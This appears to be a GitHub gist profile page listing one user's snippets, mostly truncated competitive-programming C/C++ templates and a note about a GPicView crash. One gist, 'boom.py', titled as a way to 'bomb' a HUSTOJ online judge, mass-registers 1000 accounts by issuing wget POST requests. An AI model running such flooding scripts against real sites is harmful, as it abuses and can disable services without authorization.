Skip to content

Instantly share code, notes, and snippets.

View Ruanxingzhi's full-sized avatar

Xingzhi Ruan Ruanxingzhi

View GitHub Profile
@Ruanxingzhi
Ruanxingzhi / readme.md
Created December 9, 2023 07:01
GPicView crashes

Tested on Debian 12 with LXDE:

crash

@Ruanxingzhi
Ruanxingzhi / boom.py
Created May 18, 2017 11:49
炸hustoj
# ----------- 批量注册 -----------
from os import system
def reg(i):
system('wget --post-data="user_id=stress_test%d&password=stress_tester&rptpassword=stress_tester&nick=压力测试者" http://example.com/JudgeOnline/register.php -O ww'%i)
for i in range(1000):
reg(i)
# ----------- 批量提交 -----------
@Ruanxingzhi
Ruanxingzhi / 3809.cpp
Created February 13, 2017 13:17
【BZOJ3809】Gty的二逼妹子序列
#include <cstdio>
#include <cstdlib>
#include <algorithm>
#include <cmath>
#include <vector>
using namespace std;
int n,m,sz;
int a[100005];
@Ruanxingzhi
Ruanxingzhi / challenge_model.c
Created February 13, 2017 01:13
Challenge 模板程序
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define bool int
#define true 1
#define false 0
typedef unsigned int u32;
typedef unsigned long long u64;
@Ruanxingzhi
Ruanxingzhi / shai.cpp
Created January 24, 2017 10:17
线性筛质数。
#include <cstdio>
#include <cstdlib>
bool vis[100005]={0};
int prime[100005]={0},to=0;
void init()
{
int i,j;
@Ruanxingzhi
Ruanxingzhi / 树上莫队.cpp
Created January 19, 2017 02:04
树上莫队。
#include <cstdio>
#include <vector>
#include <iostream>
#include <algorithm>
using namespace std;
typedef long long LL;
#define K 233
#define N 50000 + 5
#define M 10000000 + 1
#define mp make_pair